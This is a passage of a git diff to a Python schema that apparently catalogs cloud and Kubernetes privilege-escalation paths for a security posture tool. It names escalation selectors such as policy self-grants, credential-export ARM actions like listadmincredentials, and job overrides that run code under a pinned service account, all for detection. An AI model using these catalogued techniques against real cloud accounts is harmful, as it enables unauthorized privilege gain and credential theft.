...ded_config_existing_document_20261022.yaml | 4 +- ...excluded_org_scope_overclaim_20261016.yaml | 2 +- ...organizations_effective_gain_20261022.yaml | 8 +- ...oined_subject_strict_reaudit_20261016.yaml | 8 +- .../aws/cloudcontrol.yaml | 4 +- .../aws/organizations.yaml | 4 +- .../privesc-technique.schema.json | 821 ++++++- 8 files changed, 2205 insertions(+), 690 deletions(-) diff --git a/scripts/privesc_paths_schema.py b/scripts/privesc_paths_schema.py index ce9cee753e..e18bae253b 100644 --- a/scripts/privesc_paths_schema.py +++ b/scripts/privesc_paths_schema.py @@ -21,6 +21,38 @@ # temporary parser graphs of the Python implementation. Keep a safe fallback. SAFE_YAML_LOADER = getattr(yaml, 'CSafeLoader', yaml.SafeLoader) +# Keep cross-field validation self-contained so the canonical HackTricks copy +# can validate the same catalog without importing the CSPM package. +AZURE_EXTERNAL_PRINCIPAL_CONTRACT = {'azure-apim-developer-portal-shared-token-external-principal': ('microsoft.apimanagement/service/users/token/action', + 'apim_developer_portal', + 'credential'), + 'azure-apim-developer-portal-sso-external-principal': ('microsoft.apimanagement/service/users/generatessourl/action', + 'apim_developer_portal', + 'credential'), + 'azure-arc-resource-bridge-credential-export': (('microsoft.resourceconnector/appliances/listkeys/action', + 'microsoft.resourceconnector/appliances/listclusterusercredential/action'), + 'arc_bridge_appliance', + 'credential'), + 'azure-avs-list-nsxt-admin-external-principal': ('microsoft.avs/privateclouds/listadmincredentials/action', + 'vmware_nsx', + 'credential'), + 'azure-avs-list-vcenter-cloudadmin-external-principal': ('microsoft.avs/privateclouds/listadmincredentials/action', + 'vmware_vcenter', + 'credential'), + 'azure-avs-run-command-vcenter-grant-external-principal': ('microsoft.avs/privateclouds/scriptexecutions/write', + 'vmware_vcenter', + 'identity_grant'), + 'azure-datafactory-github-oauth-external-principal': ('microsoft.datafactory/factories/getgithubaccesstoken/action', + 'github_repository', + 'credential'), + 'azure-eventgrid-mqtt-client-grant-external-principal': ('microsoft.eventgrid/namespaces/permissionbindings/write', + 'eventgrid_mqtt', + 'identity_grant')} +K8S_VERIFIED_PIVOT_KINDS = {'k8s-cloud-kiam-kube2iam-annotation': 'cloud_identity', + 'k8s-cloud-pivot-secret-static-gcp-sa-key': 'cloud_identity', + 'k8s-gke-authenticated-user-rolebinding-self-grant': 'k8s_verified_authority', + 'k8s-rbac-secrets-read-argocd-cluster-credential': 'k8s_remote_cluster'} + # Parsed documents are private; every consumer validates a fresh deep copy. # The key includes exact freshly read contents and the selected safe parser. @@ -120,44 +152,44 @@ def _remember_catalog_document(candidate): # act as sources; "entity" kinds are collapsed control objects (account admin, # scope owner, cluster-admin, a directory role) that are terminal privileges. TARGET_KINDS = { - "aws_role": ("aws", "principal"), - "aws_user": ("aws", "principal"), - "aws_group": ("aws", "principal"), - "aws_identity_center_user": ("aws", "principal"), - "aws_identity_center_permission_set": ("aws", "entity"), - "aws_account_admin": ("aws", "entity"), - "aws_directory_domain_admin": ("aws", "entity"), - "aws_service_plane_admin": ("aws", "entity"), - "aws_verified_authority": ("aws", "entity"), - "aws_challenge_foothold": ("aws", "principal"), - "gcp_service_account": ("gcp", "principal"), - "gcp_user": ("gcp", "principal"), - "gcp_group": ("gcp", "principal"), - "gcp_workspace_user": ("gcp", "principal"), - "gcp_external_principal": ("gcp", "principal"), - "gcp_scope_owner": ("gcp", "entity"), - "gcp_verified_authority": ("gcp", "entity"), - "gcp_challenge_foothold": ("gcp", "principal"), - "azure_managed_identity": ("azure", "principal"), - "azure_service_principal": ("azure", "principal"), - "azure_user": ("azure", "principal"), - "azure_external_principal": ("azure", "principal"), - "azure_storage_local_user": ("azure", "principal"), - "azure_challenge_foothold": ("azure", "principal"), - "azure_verified_authority": ("azure", "entity"), - "azure_scope_owner": ("azure", "entity"), - "azure_dataplane_admin": ("azure", "entity"), - "entra_role": ("azure", "entity"), - "entra_group": ("azure", "principal"), - "k8s_service_account": ("k8s", "principal"), - "k8s_user": ("k8s", "principal"), - "k8s_group": ("k8s", "principal"), - "k8s_node": ("k8s", "principal"), - "k8s_cluster_admin": ("k8s", "entity"), - "k8s_verified_authority": ("k8s", "entity"), - "k8s_admission_control": ("k8s", "entity"), - "k8s_remote_cluster": ("k8s", "principal"), - "cloud_identity": ("k8s", "principal"), + 'aws_role': ("aws", "principal"), + 'aws_user': ("aws", "principal"), + 'aws_group': ("aws", "principal"), + 'aws_identity_center_user': ("aws", "principal"), + 'aws_identity_center_permission_set': ("aws", "entity"), + 'aws_account_admin': ("aws", "entity"), + 'aws_directory_domain_admin': ("aws", "entity"), + 'aws_service_plane_admin': ("aws", "entity"), + 'aws_verified_authority': ("aws", "entity"), + 'aws_challenge_foothold': ("aws", "principal"), + 'gcp_service_account': ("gcp", "principal"), + 'gcp_user': ("gcp", "principal"), + 'gcp_group': ("gcp", "principal"), + 'gcp_workspace_user': ("gcp", "principal"), + 'gcp_external_principal': ("gcp", "principal"), + 'gcp_scope_owner': ("gcp", "entity"), + 'gcp_verified_authority': ("gcp", "entity"), + 'gcp_challenge_foothold': ("gcp", "principal"), + 'azure_managed_identity': ("azure", "principal"), + 'azure_service_principal': ("azure", "principal"), + 'azure_user': ("azure", "principal"), + 'azure_external_principal': ("azure", "principal"), + 'azure_storage_local_user': ("azure", "principal"), + 'azure_challenge_foothold': ("azure", "principal"), + 'azure_verified_authority': ("azure", "entity"), + 'azure_scope_owner': ("azure", "entity"), + 'azure_dataplane_admin': ("azure", "entity"), + 'entra_role': ("azure", "entity"), + 'entra_group': ("azure", "principal"), + 'k8s_service_account': ("k8s", "principal"), + 'k8s_user': ("k8s", "principal"), + 'k8s_group': ("k8s", "principal"), + 'k8s_node': ("k8s", "principal"), + 'k8s_cluster_admin': ("k8s", "entity"), + 'k8s_verified_authority': ("k8s", "entity"), + 'k8s_admission_control': ("k8s", "entity"), + 'k8s_remote_cluster': ("k8s", "principal"), + 'cloud_identity': ("k8s", "principal"), } # aws_service_plane_admin: administrator of a managed service's own application plane (Amazon Connect instance, # Managed Grafana workspace, QuickSight account, Supply Chain instance, Amplify Studio backend). Not an IAM principal @@ -167,7 +199,9 @@ def _remember_catalog_document(candidate): # lifted blockers in target.removes_blockers. k8s_remote_cluster: a credential to ANOTHER cluster held in a Secret. # Kinds that more than one provider's catalog may target (AKS cluster-admin from Azure RBAC, ...). EXTRA_KIND_PROVIDERS = {"k8s_cluster_admin": ("azure", "gcp", "aws"), - "k8s_service_account": ("gcp", "azure")} + "k8s_service_account": ("gcp", "azure"), + "gcp_service_account": ("k8s",), + "gcp_verified_authority": ("k8s",)} ADMIN_KINDS = ("aws_account_admin", "gcp_scope_owner", "azure_scope_owner", "k8s_cluster_admin", "entra_role") @@ -178,1204 +212,1859 @@ def kind_allowed(kind, provider): # selector key -> (providers, value kind, description). Value kinds: bool_true, # bool, string, string_or_list, namespace, action, any. SELECTOR_KEYS = { - # ---- generic --------------------------------------------------------- - "azure_storage_local_credential": (("azure",), "string", "Azure Storage SFTP local user credential; reset_password, write_credential, or create_credential. Requires exact account settings and verified container rights."), - "azure_challenge_fact": (("azure",), "string", "Exact reviewed Azure technique/source/target/scope evidence; never a definite path."), - "azure_external_principal_evidence": (("azure",), "bool_true", "Unique complete reviewed evidence binds a declared ARM action to one named adjacent-plane principal, usable credential or grant, prior denial, and a newly allowed target action."), - "azure_external_plane": (("azure",), "string", "Exact adjacent authorization plane of a reviewed Azure external-principal gain."), - "k8s_challenge_fact": (("k8s",), "string", "Exact reviewed Kubernetes technique/source/target/scope evidence."), - "k8s_helm_values_rbac": (("k8s",), "bool_true", "Reviewed exact ConfigMap-to-Helm-to-RoleBinding permission grant for the lab documented by the source."), - "k8s_verified_pivot": (("k8s",), "string", "Unique fresh reviewed evidence binds the exact source action and object to one accepted remote principal or newly granted Kubernetes permission."), - "k8s_bound_role_gain": (("k8s",), "bool_true", "Collected Role rules contain a concrete permission the source lacks; the source can bind that exact Role in the target namespace."), - "k8s_existing_rolebinding_gain": (("k8s",), "bool_true", "An existing RoleBinding targets the exact Role, the source can modify that binding and bind the Role, and the Role grants a new permission."), - "k8s_clusterrolebinding_gain": (("k8s",), "bool_true", "A collected ClusterRole grants a new cluster-wide permission and the source can bind that exact role."), - "k8s_existing_clusterrolebinding_gain": (("k8s",), "bool_true", "An existing ClusterRoleBinding targets the exact ClusterRole and the source can modify that binding to gain a new cluster-wide permission."), - "k8s_aggregated_rolebinding_namespace": (("k8s",), "bool_true", "The source is bound in the target namespace to a ClusterRole whose aggregationRule selects new ClusterRoles."), - "attached_to_service": (("aws", "gcp", "azure"), "string_or_list", + 'azure_storage_local_credential': (("azure",), "string", "Azure Storage SFTP local user credential; reset_password, write_credential, or create_credential. Requires exact account settings and verified container rights."), + 'azure_challenge_fact': (("azure",), "string", "Exact reviewed Azure technique/source/target/scope evidence; never a definite path."), + 'azure_static_site_deployment_token': (("azure",), "bool_true", "An inventoried Static Web App on which the source can request that exact site's deployment token."), + 'azure_external_principal_evidence': (("azure",), "bool_true", "Unique complete reviewed evidence binds a declared ARM action to one named adjacent-plane principal, usable credential or grant, prior denial, and a newly allowed target action."), + 'azure_external_plane': (("azure",), "string", "Exact adjacent authorization plane of a reviewed Azure external-principal gain."), + 'k8s_challenge_fact': (("k8s",), "string", "Exact reviewed Kubernetes technique/source/target/scope evidence."), + 'k8s_helm_values_rbac': (("k8s",), "bool_true", "Reviewed exact ConfigMap-to-Helm-to-RoleBinding permission grant for the lab documented by the source."), + 'k8s_verified_pivot': (("k8s",), "string", "Unique fresh reviewed evidence binds the exact source action and object to one accepted remote principal or newly granted Kubernetes permission."), + 'k8s_bound_role_gain': (("k8s",), "bool_true", "Collected Role rules contain a concrete permission the source lacks; the source can bind that exact Role in the target namespace."), + 'k8s_existing_rolebinding_gain': (("k8s",), "bool_true", "An existing RoleBinding targets the exact Role, the source can modify that binding and bind the Role, and the Role grants a new permission."), + 'k8s_clusterrolebinding_gain': (("k8s",), "bool_true", "A collected ClusterRole grants a new cluster-wide permission and the source can bind that exact role."), + 'k8s_existing_clusterrolebinding_gain': (("k8s",), "bool_true", "An existing ClusterRoleBinding targets the exact ClusterRole and the source can modify that binding to gain a new cluster-wide permission."), + 'k8s_aggregated_rolebinding_namespace': (("k8s",), "bool_true", "The source is bound in the target namespace to a ClusterRole whose aggregationRule selects new ClusterRoles."), + 'attached_to_service': (("aws", "gcp", "azure"), "string_or_list", "Identity is attached to a collected resource of that service (Lambda Role, EC2 instance profile, " "GCE/GKE service account, Azure resource identity incl. full ARM types). Uncollected attachment " "inventories fall back to trust/all identities with unknown confidence."), - "same_as_source": (("aws", "gcp", "azure", "k8s"), "bool_true", + 'same_as_source': (("aws", "gcp", "azure", "k8s"), "bool_true", "Target is the source itself (self-escalation); for entity kinds the source's own scope."), - "resource_permission_covers_target": (("aws", "gcp", "azure", "k8s"), "action", + 'resource_permission_covers_target': (("aws", "gcp", "azure", "k8s"), "action", "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace})."), - "any_principal_in_scope": (("gcp", "azure", "k8s", "aws"), "bool_true", + 'any_principal_in_scope': (("gcp", "azure", "k8s", "aws"), "bool_true", "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)."), - "azure_root_scope_only": (("azure",), "bool_true", + 'azure_root_scope_only': (("azure",), "bool_true", "Restrict an Azure root-scope authorization target to the tenant root (/)."), - # ---- AWS ------------------------------------------------------------- - "aws_challenge_fact": (("aws",), "string", + 'aws_challenge_fact': (("aws",), "string", "Exact externally verified technique/source/target evidence from aws_privesc_challenge_evidence. " "Missing or incomplete evidence is unresolved; a different source or target never matches."), - "aws_scheduler_iam_self_grant": (("aws",), "bool_true", "Exact Scheduler schedule and passed role can add an inline policy to its creator through a role-authorized IAM target API."), - "aws_s3_policy_self_grant": (("aws",), "bool_true", "Reviewed exact S3 bucket-policy self-grant for the caller and a bounded object prefix."), - "aws_sqs_policy_self_grant": (("aws",), "bool_true", "Same-account IAM user can grant itself ReceiveMessage on an exact queue through SetQueueAttributes; an SSE-KMS queue also needs effective Decrypt on its collected key."), - "aws_sns_policy_self_grant": (("aws",), "bool_true", "Same-account IAM user can grant itself Subscribe on an exact topic through SetTopicAttributes."), - "aws_dynamodb_policy_self_grant": (("aws",), "bool_true", "Same-account IAM user can grant itself GetItem on an exact AWS-owned-key table through PutResourcePolicy."), - "aws_s3_access_grants_self_grant": (("aws",), "bool_true", "Reviewed exact S3 Access Grants session with new READ permission on a bounded prefix."), - "aws_secretsmanager_policy_self_grant": (("aws",), "bool_true", "Reviewed GetSecretValue self-grant for the exact IAM user and secret."), - "aws_efs_policy_self_grant": (("aws",), "bool_true", "Reviewed ClientMount self-grant for the exact EFS file system."), - "aws_cases_tag_self_grant": (("aws",), "bool_true", "Reviewed Cases domain tag change unlocking PutCaseEventConfiguration for the source."), - "aws_sitewise_portal_self_grant": (("aws",), "bool_true", "Reviewed SiteWise Monitor portal ADMINISTRATOR grant to the source identity."), - "trust_allows_service": (("aws",), "string_or_list", - "Role trust policy has an Allow for sts:AssumeRole* whose Principal.Service includes the value."), - "trust_allows_principal_of_source": (("aws",), "bool_true", + 'quicksight_existing_iam_user': (("aws",), "bool_true", + "Existing active QuickSight IAM user with a non-admin role and an exact principal ID; only its matching IAM user can gain this application-plane authority."), + 'aws_scheduler_iam_self_grant': (("aws",), "bool_true", "Exact Scheduler schedule and passed role can add an inline policy to its creator through a role-authorized IAM target API."), + 'aws_scheduler_iam_self_grant_update': (("aws",), "bool_true", "An exact existing Scheduler schedule and passed role can add an inline policy to the caller through a role-authorized IAM target API."), + 'aws_s3_policy_self_grant': (("aws",), "bool_true", "Reviewed exact S3 bucket-policy self-grant for the caller and a bounded object prefix."), + 'aws_sqs_policy_self_grant': (("aws",), "bool_true", "Same-account IAM user can grant itself ReceiveMessage on an exact queue through SetQueueAttributes; an SSE-KMS queue also needs effective Decrypt on its collected key."), + 'aws_sns_policy_self_grant': (("aws",), "bool_true", "Same-account IAM user can grant itself Subscribe on an exact topic through SetTopicAttributes."), + 'aws_dynamodb_policy_self_grant': (("aws",), "bool_true", "Same-account IAM user can grant itself GetItem on an exact AWS-owned-key table through PutResourcePolicy."), + 'aws_s3_access_grants_self_grant': (("aws",), "bool_true", "Reviewed exact S3 Access Grants session with new READ permission on a bounded prefix."), + 'aws_secretsmanager_policy_self_grant': (("aws",), "bool_true", "Reviewed GetSecretValue self-grant for the exact IAM user and secret."), + 'aws_efs_policy_self_grant': (("aws",), "bool_true", "Reviewed ClientMount self-grant for the exact EFS file system."), + 'aws_cases_tag_self_grant': (("aws",), "bool_true", "Reviewed Cases domain tag change unlocking PutCaseEventConfiguration for the source."), + 'aws_sitewise_portal_self_grant': (("aws",), "bool_true", "Reviewed SiteWise Monitor portal ADMINISTRATOR grant to the source identity."), + 'trust_allows_service': (("aws",), "string_or_list", + "Role trust policy allows sts:AssumeRole for every named Principal.Service; a list requires all services."), + 'trust_allows_principal_of_source': (("aws",), "bool_true", "Role trust policy allows the source principal ARN, the source account (root/ID) or '*'."), - "trust_allows_federated": (("aws",), "string_or_list", + 'trust_allows_federated': (("aws",), "string_or_list", "Role trust policy allows Principal.Federated equal to the value (e.g. cognito-identity.amazonaws.com)."), - "trust_allows_saml_provider_covered_by": (("aws",), "action", + 'trust_allows_saml_provider_covered_by': (("aws",), "action", "Role trusts a SAML provider ({target.saml_provider_arn}) on which the source holds the action."), - "has_instance_profile": (("aws",), "bool", + 'has_instance_profile': (("aws",), "bool", "Role is in at least one instance profile (InstanceProfileList)."), - "has_login_profile": (("aws",), "bool", + 'has_login_profile': (("aws",), "bool", "IAM user has (true) / lacks (false) a console password (LoginProfile detail)."), - "name_prefix": (("aws",), "string", + 'name_prefix': (("aws",), "string", "Role name (and instance-profile name) starts with the value."), - "source_kind": (("aws",), "string_or_list", + 'source_kind': (("aws",), "string_or_list", "Technique only applies when the source principal is of this kind."), - "source_group_covered_by": (("aws",), "action", + 'source_group_covered_by': (("aws",), "action", "Source is a member of an IAM group ({source.group_arn}) on which it holds the action."), - "source_attached_policy_covered_by": (("aws",), "action", + 'source_attached_policy_covered_by': (("aws",), "action", "A customer-managed policy attached to the source ({source.attached_policy_arn}) is covered by the action."), - "via_assumable_role_covered_by": (("aws",), "action", + 'via_assumable_role_covered_by': (("aws",), "action", "The source can assume a role on which it also holds the action (two-step self-escalation)."), - "via_assumable_role_attached_policy_covered_by": (("aws",), "action", + 'via_assumable_role_attached_policy_covered_by': (("aws",), "action", "An assumable same-account role becomes admin after the source creates a default version of an attached customer policy."), - "via_resource_type": (("aws",), "string_or_list", + 'via_resource_type': (("aws",), "string_or_list", "Target role is attached to an existing resource of that type ({target.resource_arn}); lambda_function, " "ec2_instance, codebuild_project, glue_job, redshift_cluster, rds_db_instance, sagemaker_notebook_instance and " "redshift_serverless_workgroup are collected, other types are unknown when the role trusts the type's service " "(imagebuilder_pipeline: ec2.amazonaws.com)."), - "via_artifact_type": (("aws",), "string_or_list", + 'via_artifact_type': (("aws",), "string_or_list", "Target role's workload consumes an artifact ({target.artifact_arn}) of that type; artifact consumers are not collected (unknown)."), - "attached_resource_covered_by": (("aws",), "action", + 'attached_resource_covered_by': (("aws",), "action", "The resource carrying the target role ({target.attached_resource_arn}) is covered by the action."), - "consumer_input_writable_via": (("aws",), "action", + 'consumer_input_writable_via': (("aws",), "action", "The source can write an input ({target.consumer_input_arn}) consumed by the target workload with the action."), - "cognito_user_pool_covered_by": (("aws",), "action", + 'cognito_user_pool_covered_by': (("aws",), "action", "Target role is mapped by an identity pool to a user pool covered by the action; dropped when the account's " "cognito_user_pool inventory is collected and empty, otherwise unknown (identity-pool roles not collected)."), - "cognito_developer_authenticated_role": (("aws",), "bool_true", + 'cognito_developer_authenticated_role': (("aws",), "bool_true", "Target role is the authenticated role of an identity pool with a developer provider, with trust admitting " "that pool's authenticated Cognito web identity."), - "cognito_developer_classic_role": (("aws",), "bool_true", + 'cognito_developer_classic_role': (("aws",), "bool_true", "Target role trusts the authenticated web identity of a developer identity pool whose Basic (Classic) " "flow is enabled, whether or not it is the pool's default role."), - "cognito_developer_settable_authenticated_role": (("aws",), "bool_true", + 'cognito_developer_settable_authenticated_role': (("aws",), "bool_true", "Target role can become the authenticated role of a collected developer identity pool and trusts that " "pool's authenticated web identity; the source must be able to mint a developer token for the same pool."), - "cognito_developer_enable_classic_role": (("aws",), "bool_true", + 'cognito_developer_enable_classic_role': (("aws",), "bool_true", "Target role trusts a developer identity pool whose Basic (Classic) flow is disabled; the source can enable " "that flow and mint a developer token for the same pool."), - "cognito_user_pool_group_role_covered_by": (("aws",), "action", + 'cognito_guest_update_classic_role': (("aws",), "bool_true", + "Target role trusts the unauthenticated web identity of a collected identity pool without role mappings; " + "the source can enable guest and Basic flow on that pool."), + 'cognito_user_pool_group_role_covered_by': (("aws",), "action", "Target role is the RoleArn of a user-pool group covered by the action; dropped when the account's " "cognito_user_pool inventory is collected and empty, otherwise unknown (groups not collected)."), - "codedeploy_group_instance_role_covered_by": (("aws",), "action", + 'codedeploy_group_instance_role_covered_by': (("aws",), "action", "Target role is the instance role of a CodeDeploy deployment group covered by the action (not collected)."), - "ecs_task_role_on_ec2_capacity": (("aws",), "bool_true", + 'ecs_task_role_on_ec2_capacity': (("aws",), "bool_true", "Target role is the taskRoleArn of an EC2/EXTERNAL-capable task definition (or of a running EC2 task) in an account " "whose ECS clusters have registered container instances; dropped when no such definition exists or every cluster " "has 0 container instances, conditional without task placement, unknown without task-definition inventory."), - "ecs_container_instance_role_in_cluster_covered_by": (("aws",), "action", + 'ecs_container_instance_role_in_cluster_covered_by': (("aws",), "action", "Target role is the instance role of an ECS container instance or the task role of a task placed on one " "(dropped when every cluster has 0 container instances; unknown without container-instance/task inventory)."), - "ecs_task_colocated_with_source_container_instance": (("aws",), "string", + 'ecs_task_colocated_with_source_container_instance': (("aws",), "string", "Value {source.arn}: the source is an EC2 container-instance role and the target task or task-execution role " "runs (or, without placement facts, may run: unknown) on an EC2 container instance carrying the source's instance profile."), - "eks_authentication_mode": (("aws",), "string_or_list", + 'eks_authentication_mode': (("aws",), "string_or_list", "EKS cluster accessConfig.authenticationMode is one of the values (API, API_AND_CONFIG_MAP, CONFIG_MAP); unknown when not collected."), - "trust_allows_oidc_provider_covered_by": (("aws",), "action", + 'trust_allows_oidc_provider_covered_by': (("aws",), "action", "Role trusts an IAM OIDC provider ({target.oidc_provider_arn}); the entry's requirements on that ARN carry the action."), - "trust_federated_provider_missing": (("aws",), "string_or_list", + 'trust_federated_provider_missing': (("aws",), "string_or_list", "Role trusts a SAML ('saml') or OIDC ('oidc') provider ARN of its own account that does not exist " "(iam_saml_provider / iam_oidc_provider inventory; unknown when not collected)."), - "trust_allows_principal_org": (("aws",), "bool_true", + 'trust_allows_principal_org': (("aws",), "bool_true", "Role trust allows Principal '*' restricted by aws:PrincipalOrgID / aws:PrincipalOrgPaths, satisfied by an account " "of the snapshot's organization (unknown without the organization id)."), - "org_member_account": (("aws",), "bool_true", + 'org_member_account': (("aws",), "bool_true", "Target belongs to an operational organization member account (not the management account); unknown without organization_account."), - "emr_runtime_role_of_cluster": (("aws",), "bool_true", + 'emr_runtime_role_of_cluster': (("aws",), "bool_true", "Role trust names an EC2 instance-profile role used by an EMR cluster with a security configuration " "(runtime roles); unknown without emr_cluster inventory."), - "trust_allows_emr_containers_oidc": (("aws",), "bool_true", + 'trust_allows_emr_containers_oidc': (("aws",), "bool_true", "Role trusts an EKS OIDC provider with a sub condition on emr-containers-sa-* service accounts (EMR on EKS execution role)."), - "instance_profile_name_prefix_or_path": (("aws",), "string_or_list", + 'instance_profile_name_prefix_or_path': (("aws",), "string_or_list", "One of the role's instance profiles has a name starting with the value, or (values starting with '/') a path containing it."), - "portfolio_of_target_product_covered_by": (("aws",), "action", + 'portfolio_of_target_product_covered_by': (("aws",), "action", "Target role is the launch-constraint role of a Service Catalog product in a portfolio ({target.portfolio_arn}); " "unknown without servicecatalog_portfolio inventory."), - "assigned_to_identity_center_group": (("aws",), "bool_true", + 'assigned_to_identity_center_group': (("aws",), "bool_true", "Permission set / user is reachable through an Identity Center group assignment (not collected)."), - "rolesanywhere_profile_includes_target": (("aws",), "bool_true", + 'rolesanywhere_profile_includes_target': (("aws",), "bool_true", "Target role is listed in an IAM Roles Anywhere profile ({target.rolesanywhere_profile_arn}, accepting " "{target.trust_anchor_arn}); dropped when the account's rolesanywhere_trust_anchor inventory is collected and " "empty, otherwise unknown (profiles not collected)."), - # ---- GCP ------------------------------------------------------------- - "gcp_challenge_fact": (("gcp",), "string", + 'gcp_challenge_fact': (("gcp",), "string", "Exact reviewed technique/source/target/scope evidence from gcp_privesc_challenge_evidence. " "Only verified preconditions produce a conditional path; missing or incomplete evidence is unresolved."), - "gcp_resource_self_grant": (("gcp",), "bool_true", + 'gcp_resource_self_grant': (("gcp",), "bool_true", "A reviewed accepted self-grant or a modeled exact-resource policy write that adds a new permission; prospective resources include Secret Manager secrets, Cloud KMS keys, Pub/Sub topics and subscriptions, standard Artifact Registry repositories, and Analytics Hub exchanges and listings."), - "gcp_external_principal_evidence": (("gcp",), "bool_true", + 'gcp_external_principal_evidence': (("gcp",), "bool_true", "Unique complete reviewed evidence binds a declared action to one named external-plane principal, usable credential, and a newly allowed target action."), - "gcp_agentregistry_skill_evidence": (("gcp",), "bool_true", + 'gcp_agentregistry_skill_evidence': (("gcp",), "bool_true", "Unique reviewed evidence ties a changed Agent Registry Skill to one floating consumer, runtime identity, and newly successful bounded action."), - "gcp_external_plane": (("gcp",), "string", + 'gcp_external_plane': (("gcp",), "string", "Exact external authorization plane named by the reviewed principal-gain record."), - "gcp_bounded_access_gain": (("gcp",), "bool_true", + 'gcp_bounded_access_gain': (("gcp",), "bool_true", "Unique reviewed evidence proves a newly allowed bounded action through one created or authorized intermediate resource."), - "gcp_bounded_mechanism": (("gcp",), "string", + 'gcp_bounded_mechanism': (("gcp",), "string", "Exact indirect-access mechanism in the bounded-access evidence record."), - "gcp_clouddeploy_custom_render_path": (("gcp",), "bool_true", + 'gcp_clouddeploy_custom_render_path': (("gcp",), "bool_true", "A collected pipeline stage, custom target, custom target type, and render service account are joined to exact update and release-create grants."), - "gcp_clouddeploy_existing_custom_render_path": (("gcp",), "bool_true", + 'gcp_clouddeploy_existing_custom_render_path': (("gcp",), "bool_true", "A collected pipeline stage and custom target render account are joined to release creation on the exact pipeline."), - "gcp_clouddeploy_pipeline_policy_custom_render_path": (("gcp",), "bool_true", + 'gcp_clouddeploy_pipeline_policy_custom_render_path': (("gcp",), "bool_true", "A collected custom target render account is joined to setIamPolicy on its exact delivery pipeline."), - "gcp_clouddeploy_configurable_custom_render_path": (("gcp",), "bool_true", + 'gcp_clouddeploy_configurable_custom_render_path': (("gcp",), "bool_true", "Source can create or update an exact custom target and pipeline route, then create its release with the selected render account."), - "gcp_cloudbuild_writable_trigger_token_path": (("gcp",), "bool_true", + 'gcp_cloudbuild_writable_trigger_token_path': (("gcp",), "bool_true", "An exact repository token grant is joined to an enabled push trigger whose repository build config and service account are recorded."), - "gcp_cloudbuild_writable_trigger_policy_path": (("gcp",), "bool_true", + 'gcp_cloudbuild_writable_trigger_policy_path': (("gcp",), "bool_true", "An exact connection policy grant can self-grant repository token access for an enabled push trigger with a recorded build identity."), - "gcp_workflows_update_execute_same_workflow": (("gcp",), "bool_true", + 'gcp_workflows_update_execute_same_workflow': (("gcp",), "bool_true", "Source can update and execute the same active workflow attached to the target service account."), - "gcp_workflows_update_attach_path": (("gcp",), "bool_true", + 'gcp_workflows_update_attach_path': (("gcp",), "bool_true", "Source can update and execute an existing active workflow in the target service account's project."), - "gcp_workflows_observed_external_execution": (("gcp",), "bool_true", + 'gcp_workflows_observed_external_execution': (("gcp",), "bool_true", "An enabled Scheduler job is recorded to execute an exact workflow the source can update; other possible triggers remain unresolved."), - "gcp_cloudscheduler_update_job_path": (("gcp",), "bool_true", + 'gcp_cloudscheduler_update_job_path': (("gcp",), "bool_true", "Source can update an enabled scheduler job, or update and resume a paused job, in the target service account's project."), - "gcp_cloudscheduler_authenticated_delivery": (("gcp",), "bool_true", + 'gcp_cloudscheduler_authenticated_delivery': (("gcp",), "bool_true", "The project's Cloud Scheduler service agent has its required role for authenticated job delivery."), - "gcp_cloudtasks_enqueue_path": (("gcp",), "bool_true", + 'gcp_cloudtasks_enqueue_path': (("gcp",), "bool_true", "Source can create a task in a running queue, resume a paused queue, or create a new queue and task in the target account's project."), - "gcp_cloudtasks_authenticated_delivery": (("gcp",), "bool_true", + 'gcp_cloudtasks_authenticated_delivery': (("gcp",), "bool_true", "The Cloud Tasks service agent has its project role and access to the exact target service account."), - "gcp_cloudtasks_queue_policy_path": (("gcp",), "bool_true", + 'gcp_cloudtasks_queue_policy_path': (("gcp",), "bool_true", "Source can add task creation on an exact queue it does not already control, remove a target override when permitted, and dispatch from a running or resumable queue."), - "gcp_cloudfunctions_create_path": (("gcp",), "bool_true", + 'gcp_cloudfunctions_create_path': (("gcp",), "bool_true", "Source can create a function with uploaded source and a known build account it can use, and can invoke it."), - "gcp_cloudfunctions_existing_source_update_path": (("gcp",), "bool_true", + 'gcp_cloudfunctions_existing_source_update_path': (("gcp",), "bool_true", "Source can update the source of an active function, act as its build identity, and reach an observed invocation route."), - "gcp_cloudfunctions_env_startup_path": (("gcp",), "bool_true", + 'gcp_cloudfunctions_env_startup_path': (("gcp",), "bool_true", "Source can update an active Node.js 20 or later function, use its build identity, and reach an execution route."), - "gcp_cloudfunctions_source_deploy_build_path": (("gcp",), "bool_true", + 'gcp_cloudfunctions_source_deploy_build_path': (("gcp",), "bool_true", "Source can create or update a function built as an observed legacy Cloud Build default identity and can act as the function runtime identity."), - "gcp_vertex_new_model_endpoint_path": (("gcp",), "bool_true", + 'gcp_vertex_new_model_endpoint_path': (("gcp",), "bool_true", "Source can upload a custom model, create an endpoint, deploy it, and use a target service account delegated to the Vertex AI service agent."), - "gcp_vertex_batch_prediction_path": (("gcp",), "bool_true", + 'gcp_vertex_batch_prediction_path': (("gcp",), "bool_true", "Source can create a batch prediction job with an inline container and use a target service account delegated to the Vertex AI service agent."), - "gcp_workbench_existing_takeover_path": (("gcp",), "bool_true", + 'gcp_workbench_existing_takeover_path': (("gcp",), "bool_true", "Source can update and boot the same existing Workbench instance or self-grant its instance administration rights."), - "gcp_run_job_override_path": (("gcp",), "bool_true", - "Source can run a collected Cloud Run job and override that same job's execution under its pinned service account."), - "gcp_run_job_policy_override_path": (("gcp",), "bool_true", - "Source can set the IAM policy of a collected Cloud Run job pinned to the target service account."), - "gcp_run_service_update_path": (("gcp",), "bool_true", + 'gcp_run_job_override_path': (("gcp",), "bool_true", + "Source can run a ready collected Cloud Run job with overrides on the same job, whose recorded interpreter command accepts code through overridden arguments."), + 'gcp_run_job_policy_override_path': (("gcp",), "bool_true", + "Source can self-grant missing actions on an exact ready Cloud Run job and execute code through its recorded interpreter or an update with actAs on the pinned service account."), + 'gcp_run_service_update_path': (("gcp",), "bool_true", "Source can update an exact collected Cloud Run service in the target service account's project."), - "gcp_run_job_update_execute_path": (("gcp",), "bool_true", + 'gcp_run_job_update_execute_path': (("gcp",), "bool_true", "Source can update and run the same collected Cloud Run job in the target service account's project."), - "gcp_run_instance_create_or_update_path": (("gcp",), "bool_true", + 'gcp_run_instance_create_or_update_path': (("gcp",), "bool_true", "Source can create a Cloud Run instance in the target project or update an exact existing instance there."), - "gcp_run_instance_ssh_path": (("gcp",), "bool_true", + 'gcp_run_instance_ssh_path': (("gcp",), "bool_true", "Source has SSH permission on an attached Cloud Run instance that is running or can be started."), - "gcp_run_service_ssh_path": (("gcp",), "bool_true", + 